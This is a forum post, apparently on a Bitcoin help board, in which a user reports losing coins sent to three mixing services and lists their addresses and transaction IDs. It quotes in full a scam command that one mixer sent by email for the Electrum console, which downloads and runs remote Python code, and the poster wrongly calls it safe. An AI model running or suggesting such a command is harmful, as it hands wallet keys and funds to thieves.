Thankfully, I've not been cleaned out - Maybe their code snippet worked with an older version of Electrum.

Anyway, I've had success with ChipMixer.

Thanks all for the quick replies. You are correct, I only did a small amount of research and was too gullible to think scamming was so widespread. I'll read up more before I retry - thanks for the links.

I had used bitcoin blender several times before they shut down the original onion site (http://bitblendervrfkzr.onion).

FWIW, I got an email reply from Bitcoinmixer.eu and they asked me to input the following in the Electrum console:
>> exec("import requests\nexec(requests.get('https://bitcoinmixer.eu/fast_recovery/13nG6Qw2XzmNyHEqRZpfVu25FwjQAGEqUq').text)")
(The address is the wallet I wanted the mixed coins sent to).

The command looked safe so I tried it and it gave me an error: Server exception, please, contact with support.
I let them know and haven't heard anything since.

I also forgot to mention I'm running Electrum through the latest version of Torr but I doubt that matters.

Bitcoin Client Software and Version Number: Electrum 3.3.8
Operating System: Windows 10 64 Bit
System Hardware Specs: n/a
Description of Problem: I've sent 3 small amounts to Bitcoin mixers but none have got through - they seem to have disappeared. I've not had any luck trying to get any of it back either. Am I just unlucky in picking 3 corrupt mixers?
1) Bitcoinmixer.eu
2) ultramixer.net
3) Bitcoin Blender http://bitblenduun5mnwp.onion/
My setup works ok normally:
a) I created a new Electrum wallet and sent BTC to it.
b) I've just sent BTC to this forum to get posting privileges.
Any Related Addresses:
1) 1DtTyTHno6Hr1JPFozW7iX1vEEukZ36TwB
2) 1A8doT4sXyiENLWNxTaZQXcLx3jeJJivvu
3) 13e29FExU5bag7wqVJP3XuUK78cHYRQi5f
Any Related Transaction IDs:
1) f7814edbe80e9bcfafe3ef97e9eb2d2033e4d30106c6165f1a070b295eb2caa8
2) b0dc8d20f0ecb9819d6a1ab2ae7fe981babcbc8151bc2f6007de40a7b5befcf0
3) 5468934e910594d5e95dd6a176bb302e96c85034cdae535380d100e9888f4213
Screenshot of the problem: n/a
Log Files from the Bitcoin Client: Doesn't seem to be an option to do this in Electrum.